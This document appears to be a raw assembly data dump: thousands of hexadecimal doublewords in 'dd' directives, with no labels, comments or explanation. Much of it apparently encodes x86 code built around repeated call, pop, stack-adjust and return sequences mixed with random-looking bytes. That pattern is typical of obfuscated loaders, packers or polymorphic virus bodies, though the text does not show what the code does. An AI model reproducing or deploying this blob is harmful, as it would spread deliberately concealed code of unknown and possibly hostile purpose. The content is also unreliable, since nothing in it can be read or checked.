dd 59h, 0A11B58Bh, 85C70648h, 64C1821h, 1, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 17C35646h, 8D89FEC3h
dd 6481379h, 8A9BD8Bh, 1AE90648h, 0F000000h, 68Ah, 0FDBD8900h
dd 0C7064802h, 4C182185h, 6, 9EBF6600h, 799D8D1Ch, 0E9064830h
dd 13h, 8DC7A697h, 0F6A4CDA5h, 18135DC7h, 3CA96B66h, 66ECBCEAh
dd 2381F28Bh, 0FFFFFEFFh, 0AE856h, 78C0000h, 0E38ED0CCh
dd 34164AF0h, 5F5FF88Bh, 0E9DB8C66h, 5, 9161F2E4h, 4C3F6B1h
dd 87840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1C0424h, 51410000h, 0C929E1C3h, 0BE93EDC6h, 0B58BA152h
dd 64809ADh, 28F195FFh, 5F520648h, 0DE86050h, 19000000h
dd 85671DBh, 0D882984Dh, 0EECB6229h, 505FC18Bh, 0F525052h
dd 0F585A31h, 5E931h, 4D0000h, 5AF53509h, 4896158h, 50006A24h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
dd 0E04C296Ah, 1BFC6EC4h, 3E9E97Ch, 0FE90000h, 7B000000h
dd 7B0DAC17h, 1E4E0A60h, 0AC5A3765h, 0B0FB46h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 17h, 6DC35040h, 0E6033E93h
dd 6DBD8B70h, 8106482Eh, 0EA1226C7h, 6A71E41Ah, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 0A377C356h, 0CF81FB92h, 5563BF3h, 6AD8B60Fh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
dd 8C0DC353h, 6BABDAFh, 8B000000h, 480B29BDh, 89C38B06h
dd 4819E985h, 4E8C106h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 14h, 0F1C35343h, 0BE8h, 15306700h, 0DC521BEAh
dd 9D57DA0Bh, 665EF28Bh, 6AE2F7h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 150424h, 52420000h, 895C3BC3h, 48271995h
dd 6AD82B06h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1B042444h, 42000000h, 3699C352h, 4F20B774h, 800F43E4h
dd 6, 870Fh, 66930000h, 6050FB8Bh, 7158DBAh, 6A93616Bh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h
dd 45000000h, 8EB3C355h, 0B533E13Ch, 648053Dh, 2DB5FFF8h
dd 6A064808h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1B042444h, 47000000h, 0F9BCC357h, 3A336AEh, 0B58B985Ch
dd 6480661h, 92D95FFh, 0F9570648h, 6A00B05Fh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
dd 0BD6AC353h, 0F93D43Dh, 70E6F0BFh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 16h, 88C35141h, 89513312h, 480831B5h
dd 71E45E06h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 19h, 0CC35141h, 5CBA9A35h, 0B1BD8B21h, 3C064806h, 0D8830F61h
dd 0F000001h, 9D89D8B6h, 6482AD5h, 6BAh, 99B58900h, 8B064822h
dd 0F38B66C3h, 8B04E8C1h, 481B51B5h, 21B52306h, 66064805h
dd 8D89E2F7h, 6480BC1h, 6AD82Bh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1B0424h, 51410000h, 518B92C3h, 0A1E5D192h
dd 10E86Bh, 0EEF20000h, 1F250990h, 0AFB65525h, 38BEB907h
dd 0BD89EDF7h, 648146Dh, 0D82B585Eh, 15D880Fh, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
dd 1EC628C3h, 7B96Dh, 0D7810000h, 704C4BC2h, 6A00C183h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h
dd 40000000h, 30FCC350h, 0BD29F350h, 64812F9h, 860FD93Bh
dd 103h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 15h, 0D8C35040h, 0E681668Ch, 3152154Eh, 480CCDBDh, 8C665E06h
dd 65BD89D9h, 0F606481Ch, 840F04C1h, 0A2h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 58C35242h, 0B9D08DA8h
dd 0F070EBC1h
dd 28F195FFh, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 190424h, 50400000h, 407949C3h, 89699DEDh, 48161DB5h
dd 0BE85B06h, 98000000h, 3F778165h, 3C24A44Bh, 0F38B9F57h
dd 66C32B5Eh, 0B5F2F781h, 8343Dh, 2B860F00h, 8B000000h
dd 49E9F3h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1C0424h, 57470000h, 0CAE3C8C3h, 0EFD8E835h, 0C08B008Eh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 2CC35747h
dd 0D99D894Eh, 8B06481Ch, 6AD88BC3h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 40B4C352h
dd 8D09359Eh, 6480ECDh, 14C98D89h, 85C70648h, 64812F5h
dd 362E4F13h, 49B58960h, 89064827h, 48032995h, 0C08B6106h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0AAC35747h
dd 8B95CCBAh, 48122DBDh, 2DBD8106h, 0D0064808h, 0F000007h
dd 6285h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1704h, 0C3534300h, 0AD6D734Dh, 10E9h, 0D70FB100h, 3E22CB86h
dd 7FD12C9Ch, 5FD93DAh, 1DBD33FFh, 0FF064816h, 48082D85h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h
dd 0C3564600h, 0E4EF8E24h, 0FF4F86E3h, 48082DB5h, 0F88B6606h
dd 1C919D89h, 95FF0648h, 648092Dh, 1275BD8Bh, 89900648h
dd 4804AD8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1A04h, 0C3554500h, 0EAA99109h, 0E9049F27h, 0Fh, 0F53CE243h
dd 0AC811804h, 39CA8F57h, 8B4E586Ah, 48008DB5h, 0F78B6606h
dd 0CD58589h, 8B660648h, 8BFE8BF8h, 48124DB5h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
dd 0BD8D89D2h, 0FC06480Eh, 2F699509h, 0BD8B0648h, 6481A59h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 7C35646h
dd 668A4BC5h, 1FE5DF81h, 6AF28Bh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 180424h, 53430000h, 7EDD71C3h, 6A3C9Dh, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
dd 0C40D17C3h, 5571F845h, 7DB58BF9h, 8B064812h, 482B39BDh
dd 0D0EE8106h, 0E942ED40h, 0FFFFF824h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 15h, 87C35343h, 59BD8B37h, 60064813h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 89C35343h
dd 35850079h, 0FEB9A899h, 66FFFFFFh, 8D21FB8Bh, 6481191h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 54C35242h
dd 81958BA1h, 21064804h, 482FC98Dh, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1B04h, 0C3504000h, 977E97A6h
dd 0B7C58B86h, 6ABE5A51h, 8B46517Fh, 4811918Dh, 0A5CBBA06h
dd 0E18311A9h, 6850F01h, 89000000h, 4814518Dh, 0C98D8B06h
dd 6606482Fh, 7E9F08Bh, 0C6000000h, 0A8968800h, 0E1836F4Bh
dd 2B850F01h, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1C042444h, 41000000h, 0E9A8C351h, 0EC70B744h
dd 23745CFFh, 480D399Dh, 6061F906h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 16h, 64C35040h, 0FEB993C2h, 60FFFFFFh
dd 13E59D89h, 81610648h, 6FF704DBh, 258D2103h, 0E9064801h
dd 11h, 3C6C7171h, 6DCE6A5Fh, 13EF131Ah, 0BB694B92h, 0B58D21D5h
dd 6A064812h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 6235C356h, 911E99Fh, 483061BDh
dd 258D8B06h, 0BE064801h, 4C51EDC8h, 0F01E183h, 2185h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h
dd 0C3514100h, 0F799AAE8h, 8D8BF814h, 64812B5h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0F3C35141h, 8E018C7Fh
dd 1E18382h, 3850Fh, 0C8800000h, 80606194h, 0FEB980F2h
dd 6AFFFFFFh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 18042444h, 40000000h, 0F9EDC350h, 31C81D9Dh, 4810CDBDh
dd 658D2106h, 0F8064829h, 30798D21h, 8D090648h, 6481A75h
dd 0F2D9D8Bh, 8D8B0648h, 6482965h, 0FABBBE66h, 0F01E183h
dd 2285h, 11E800h, 0F6A50000h, 6CD9FE6h, 3287053h, 1B327493h
dd 6047711Ah, 0AE85B966h, 34D88166h, 8B5F61F4h, 4830798Dh
dd 68D0F06h, 29000000h, 48146595h, 1E18306h, 24850Fh, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 0B50128C3h, 6482991h, 6061D38Bh, 5E8h, 5426B000h, 9D892370h
dd 6482A9Dh, 0BF0F605Eh, 0B58B57FEh, 6483001h, 0FEB9615Fh
dd 6AFFFFFFh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 14042444h, 40000000h, 29ECC350h, 4833498Dh, 0C58D2106h
dd 0F064812h, 681h, 880F00h, 21000000h, 4812F58Dh, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 0FA50C17Ch, 9E89FB2h, 6D000000h, 25277018h, 84467F6Dh
dd 665F5260h, 5F61CE8Bh, 12C58D8Bh, 7E90648h, 21000000h
dd 413ACF58h, 0E183AA55h, 6850F01h, 2B000000h, 480C899Dh
dd 0F58D8B06h, 8B064812h, 48013185h, 1E18306h, 34850Fh
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
dd 51410000h, 1A2E02C3h, 0B6ACA96h, 0BF66ECB8h, 7E9CB19h
dd 1000000h, 0CEE3EC94h, 60614CC4h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 14h, 38C35646h, 0CDDBD33h, 85C70648h
dd 648082Dh, 7D0h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Bh, 5FC35242h, 0E1E94FDBh, 613F9A28h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 79C35545h, 8166EBBFh
dd 0EB6223D2h, 0E99D6107h, 0
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0C5C35747h
dd 3146D29Fh, 51006A73h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1904h, 0C3514100h, 4E90DDDBh, 9D23CCC4h, 648233Dh, 8B60C18Bh
dd 66C08BC8h, 646C181h, 1299BD83h, 75000648h, 35BD8309h
dd 6480Dh, 53501974h, 38B8C08Bh, 89000004h, 4829B985h
dd 649D8D06h, 0FF064AA4h, 83585BD3h, 480D35BDh, 17740006h
dd 38B85350h, 89000004h, 4829B985h, 539D8D06h, 0FF064AA1h
dd 60585BD3h, 1489BD23h, 0B600648h, 481AA995h, 0E9BD2306h
dd 61064805h, 6E861h, 0FAD10000h, 680B3A39h, 6A5EF98Bh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h
dd 46000000h, 31A7C356h, 15358D8Bh, 0C08B0648h, 68C0Fh
dd 0B58B0000h, 6480A0Dh, 848E8h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0E6816645h
dd 858943E5h, 6480C39h, 2B95B529h, 16E80648h, 6A000008h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h
dd 40000000h, 94B4C350h, 7EC397D1h, 8589382Bh, 6480F1Dh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 70C35343h
dd 0E181E011h, 10322EF0h, 7C4E8h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0B383C90Ch
dd 0D1EA2B20h, 0BD8B4CADh, 6481AD5h, 1A1D8589h, 0F9530648h
dd 78BE85Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 160424h, 51410000h, 0FCE0D4C3h, 858954B1h, 64827D9h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0BC35343h
dd 0B33BDE09h, 0D8F65FF8h, 73BE83Dh, 8D030000h, 6482821h
dd 0D3D8589h, 95290648h, 6481B59h, 1AF1BD0Bh, 1EE80648h
dd 0F000007h, 685h, 0C58D8B00h, 0E9064826h, 10h, 43471AB9h
dd 37186A79h, 39BEC817h, 1F562E46h, 9158589h, 51600648h
dd 565F8FB5h, 1C39952Bh, 615A0648h, 6E4E8h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
dd 0D93380AEh, 8589AD67h, 6481221h, 9E9h, 65519400h, 0EF31AA70h
dd 0AAE86461h, 0F000006h, 8589F2B7h, 6481BD5h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0D2C35646h, 8B2D3B60h
dd 482AB1B5h, 677E806h, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 190424h, 50400000h, 0F195C6C3h, 0FE6C1BAh
dd 384h, 0CA8B6600h, 6FD8589h, 0BD890648h, 6480649h, 63CE8h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h
dd 0C3524200h, 0F1816657h, 9E8E7A5h, 0DB000000h, 34E09C52h
dd 0C918BC96h, 0D7816659h, 858993CDh, 6482FB5h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 28C35747h, 7405F024h
dd 0FC655B5Ch, 5D8E8h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1704h, 0C3534300h, 0AE46B9BFh, 0A4DB503h
dd 85890648h, 6480C99h, 2299D29h, 0A2E80648h, 66000005h
dd 66732BBFh, 8589F08Bh, 6480E25h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ah, 10C35343h, 118BD202h, 8166E689h
dd 0E89AFEE1h, 569h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 18h, 0F3C35040h, 0FB8F8E04h, 0CF1B589h, 85890648h
dd 6481B71h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Dh, 9FC35747h, 0BABDA9CAh, 1F202785h, 9E8B6h, 856A0000h
dd 0C4C50617h, 0FF167BDh, 0E85EF3BFh, 501h, 0CCD8D89h
dd 85890648h, 64817B5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ch, 0A3C35747h, 76C22E1h, 0A8844ECh, 14759529h
dd 0BD090648h, 64801ADh, 4C0E8h, 1BD2300h, 89064831h, 48283D85h
dd 0AAF18006h, 0AAE8C88Bh, 6A000004h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 351DC357h
dd 318D01A1h, 8906482Fh, 48184D85h, 318D8B06h, 0E8064808h
dd 5, 58EFB22Ah, 2840F1Dh, 0B1000000h, 0B05E37h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 53C35545h, 4069EE1Dh
dd 6E9FDh, 0C6840000h, 0F6E873B2h, 6AD8B60Fh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
dd 5D7EC357h, 0A1A795C4h, 0BA526115h, 8800Fh, 29600000h
dd 480DC985h, 6BA6106h, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 84C8C351h
dd 28D0Fh, 0F28B0000h, 6AC38Bh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 180424h, 53430000h, 0A553F1C3h, 0BD8B6C33h
dd 6481BF1h, 89F38160h, 8B1182D7h, 481AA995h, 0E8C16106h
dd 15BD8B04h, 6606480Dh, 6AE2F7h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1B0424h, 55450000h, 6D8F10C3h, 0B0C9DB11h
dd 23D82B29h, 480CB5B5h, 50605006h, 0F54B152h, 10E831h
dd 0F3150000h, 0ABFBB08Bh, 0DC562DD5h, 4764756Fh, 5A5B663Dh
dd 1C896158h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1C04h, 0C3554500h, 0E0AB889Bh, 0AEE44C6Dh, 95FFF97Bh
dd 64828F1h, 23F5E181h, 6A5B47EDh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 96E1C351h
dd 2810Fh, 34B10000h, 8DFEBF0Fh, 480CA995h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 6BF5804Eh, 0DF58B966h, 6A1A89h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 170424h, 50400000h, 87C59BC3h, 0E781669Dh
dd 4289087Eh, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1A04h, 0C3554500h, 0A352A0A2h, 0E86E473Fh, 13h, 5576D0E4h
dd 8B7E2339h, 176140DDh, 86A14642h, 898153EDh, 48270D9Dh
dd 8DF55906h, 4819A995h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1604h, 0C3534300h, 89E2DE5Eh, 480DC18Dh
dd 6A1A8906h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1C042444h, 46000000h, 0DB95C356h, 7782F18Dh, 8B896B86h
dd 480515BDh, 4428906h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 15h, 9AC35040h, 45958D2Eh, 60064817h, 1B118509h
dd 858B0648h, 6483139h, 68F0F61h, 8B000000h, 480545B5h
dd 891A8906h, 4829758Dh, 4428906h, 7E8h, 0BD820700h, 0FA1D8745h
dd 3189B589h, 8D590648h, 480AC995h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 59268F03h
dd 0FA2EAE2h, 1A89CBB7h, 435BD8Bh, 42890648h, 14E904h
dd 60900000h, 18F69FC9h, 8BB39CF3h, 0AEC082F0h, 60B7341Fh
dd 958D6BF6h, 6481771h, 66CAB70Fh, 6432CF81h, 6A1A89h
dd 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 897553C3h, 3BBE0442h, 8D5E5F9Ah, 4811E995h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
dd 0FF4C8E83h, 5BF03AFCh, 459D29A9h, 2B06481Ch, 480EA9BDh
dd 891A8906h, 480F3D8Dh, 4428906h, 3021B523h, 958D0648h
dd 6482A61h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 15h, 5CC35141h, 759D8950h, 89064816h, 53006A1Ah, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
dd 64E49242h, 0F3BD38D4h, 0BD8B6493h, 6481AA9h, 6A044289h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h
dd 41000000h, 128CC351h, 0F45CB6Fh, 481h, 0C0BF6600h, 69958D38h
dd 52064813h, 5AD98166h, 1A8959ADh, 0FAC78166h, 4428960h
dd 58C0Fh, 43B90000h, 0E93003F6h, 103h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 14h, 4AC35646h, 0F890Fh
dd 0AE90000h, 0F4000000h, 7C9CAE3Fh, 3A125976h, 6A006AB6h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h
dd 46000000h, 0B2F5C356h, 3104AC40h, 896A7FA1h, 482F8995h
dd 57006A06h, 8D0F60h, 8B000000h, 815F61F7h, 627D0FD7h
dd 6A006A0Dh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 374AC350h, 850F13D9h, 5, 44D18166h
dd 2B006AE0h, 480E918Dh, 0E995FF06h, 0E9064812h, 0Eh, 0DB2E454Ah
dd 4D5C062Ch, 7A38CB44h, 14E8C21Bh, 0AA000000h, 6DBAD566h
dd 0DD6BF4Eh, 0A048B20Dh, 62F0ABB8h, 0F5EBA8Ch, 0C359F9B7h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0D5C35545h
dd 0FFEF2F45h, 158D8B79h, 8A064808h, 51006AC5h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1504h, 0C3514100h, 85090E9Fh
dd 6480919h, 0F180C08Bh, 99BD83B0h, 64812h, 0BD830975h
dd 6480D35h, 50197400h, 0B8C08B53h, 438h, 2FF98589h, 9D8D0648h
dd 64AA4CBh, 585BD3FFh, 0D35BD83h, 74000648h, 0B8535017h
dd 438h, 2FF98589h, 9D8D0648h, 64AA16Ch, 585BD3FFh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 9BC35747h, 33E8C68Ah
dd 8B661F21h, 18D8BF3h, 8B064816h, 55858DC0h, 6A064812h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h
dd 46000000h, 2ACEC356h, 2ABA40B0h, 0BF66C264h, 0BF50659Bh
dd 5F01AC46h, 6A240489h, 18C0F00h, 0FC000000h, 6A006Ah
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 1525DFC3h, 0EE80Dh, 0E15F0000h, 0E36EB5C6h, 0F2896510h
dd 0DECCF514h, 58A0Fh, 0BABB0000h, 5F467F48h, 8DDA8B66h
dd 4C331285h, 0CDBD8B06h, 8B064807h, 483309BDh, 5C08306h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0E3C35141h
dd 0FE38BFD0h, 182E380h, 3371BD29h, 0BD8B0648h, 6481385h
dd 24048950h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Dh, 93C35747h, 91C19F0Ah, 0B0039711h, 6AF903h, 54D9D2Bh
dd 6A0648h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 17h, 94C35242h, 66F557E2h, 630FCF81h, 2B2D95FFh, 0E9600648h
dd 7, 0D73CA4E3h, 0E90D02ADh, 0Dh, 666597B3h, 37C6439Eh
dd 0BBA26105h, 8D8D6194h, 64B9938h, 1CB9BD8Bh, 0D1FF0648h
dd 83D9B70Fh, 4830E5BDh, 850F0106h, 0ABh, 18D0157h, 5B064833h
dd 0BF0F026Ah, 525090DAh, 12E95250h, 3C000000h, 3E6C0B1Eh
dd 3E7C8A6h, 21A6D9C0h, 4731F214h, 5A310FE0h, 6A905F58h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h
dd 46000000h, 542EC356h, 81213D38h, 0E99D2B1Bh, 0FF06482Eh
dd 48005195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1404h, 0C3524200h, 13E95389h, 4A000000h, 816C2454h
dd 0C07292B8h, 3888923Eh, 41D8AA91h, 665B07CBh, 0E83C4ABBh
dd 0Bh, 3FAADE96h, 3EE7BD44h, 66D7FA0Fh, 0E95FF88Bh, 0F6Fh
dd 0E8h, 0ED815D00h, 64C331Ch, 2FFD9D8Bh, 0B5890648h, 64828C9h
dd 93DA858Dh, 0BD8B064Bh, 64827C1h, 0F50FA8Ah, 286h, 89FE8B00h
dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
dd 55450000h, 4FE862C3h, 255B1C1Ch, 2C018589h, 8D290648h
dd 6480D31h, 35FF64h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1D042444h, 45000000h, 0C34DC355h, 1BA4E0ECh
dd 0BFF38944h, 0BD8BF860h, 64815DDh, 25896461h, 0
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0F2C35343h
dd 0B50A61DDh, 620BF66h, 1AD185FFh, 0BD8B0648h, 64801FDh
dd 6AFF6Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
dd 55450000h, 435AFCC3h, 6630C622h, 0B5FFDE8Bh, 6480C39h
dd 2800Fh, 0D88A0000h, 10D995FFh, 68E90648h, 80000001h
dd 0B0CFE3h, 12810Fh, 0CE80000h, 0B4000000h, 0D512A2EEh
dd 76430E8Eh, 5F5C8816h, 0FE870E6h, 0D5000000h, 606FE1C6h
dd 84C0F8FEh, 97356337h, 95899107h, 6482375h, 6071E45Bh
dd 0AE8h, 0F706A900h, 1D90C27Bh, 31F5481Dh, 482EB595h
dd 0BD895806h, 64808EDh, 0F613C61h, 10683h, 0AEE78000h
dd 81C8B60Fh, 74A80ECFh, 12E963h, 0B0E80000h, 8CD0FA7Eh
dd 0E0A71E00h, 30E34E49h, 7CDDCFF1h, 6BAh, 25BD8900h, 8B064813h
dd 0C5BD8BC1h, 0E8064810h, 0Eh, 0E7B13378h, 0AC2C6962h
dd 98037F50h, 0B70FD268h, 0E8C15BDAh, 12E904h, 1F590000h
dd 5A5FACC9h, 287C6E44h, 0A8541EEFh, 70B744E9h, 0E9E2F766h
dd 8, 514B3A79h, 0F9CDB8D2h, 0F781C82Bh, 63EEA012h, 0B6BBD18Bh
dd 0E9000C0Ch, 6, 1741B589h, 858B0648h, 6480CA9h, 5E99D89h
dd 0F3810648h, 4ABE9F6Bh, 8907C083h, 4804A985h, 0C08306h
dd 4B59D31h, 0D03B0648h, 11830Fh, 0BD8B0000h, 6482C05h
dd 3EE9h, 0F1BD8B00h, 8B06482Eh, 4830798Dh, 0DB805606h
dd 0E1835B34h, 24840F01h, 8B000000h, 4800999Dh, 79A58306h
dd 0FE064830h, 0CCD8D89h, 95890648h, 6480CA9h, 0FAD2EF81h
dd 0E90999h, 8D000000h, 4BCD7BB5h, 219D3306h, 6A064833h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h
dd 0C3514100h, 9D292461h, 6480A4Dh, 92D95FFh, 6A0648h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 56CFD9C3h, 6860Fh, 95090000h, 6482A49h, 6DAB95Bh, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
dd 0F8EEAAC3h, 70374B50h, 0FC72D6Ch, 686h, 4DBD8B00h, 60064816h
dd 3C5BD89h, 9D310648h, 6481601h, 0FCE18361h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 3FC35646h, 1A320D8Dh
dd 2957B382h, 4820019Dh, 8509FC06h, 6480A05h, 0B8h, 759D8B00h
dd 0BA064812h, 0
dd 4AD9D29h, 33AD0648h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 0FBC055C3h, 10E91Bh, 0E9250000h, 0C212715Fh, 230DE401h
dd 9B6C16F2h, 0BD314832h, 6480D75h, 880Dh, 0AFC38100h
dd 8B6379E7h, 482365BDh, 5958B06h, 6A064814h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
dd 0A9C8C353h, 0F7CE203h, 8166FFBFh, 8BE5CECBh, 4830258Dh
dd 50DE8B06h, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h
dd 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h
dd 0C3504000h, 0F48589DEh, 0B5892AEFh, 6482895h, 0BE9h
dd 0DDC06700h, 0C513F8F7h, 0F24CB34Fh, 1466EB81h, 0BD836CFBh
dd 64812FDh, 8E840F00h, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 43F7C357h
dd 106324A9h, 21BD8BE5h, 0B806481Bh, 0
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 80C35242h
dd 0FBCED08Ch, 31EA1419h, 48087595h, 808D8D06h, 306484Eh
dd 480D81BDh, 6AE1FF06h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 17042444h, 45000000h, 85F4C355h, 8CBFA1B1h
dd 167836Ch, 481BA99Dh, 0D9BD8306h, 6482Ah, 577840Fh, 0F8560000h
dd 51B5895Fh, 8306480Eh, 482AD9BDh, 840F0106h, 57Ch, 0C21799BFh
dd 0D9BD834Ah, 306482Ah, 534860Fh, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 4FC60BC3h
dd 51BDF6AAh, 8166EEECh, 609548D3h, 0D98C66F9h, 0CE9h
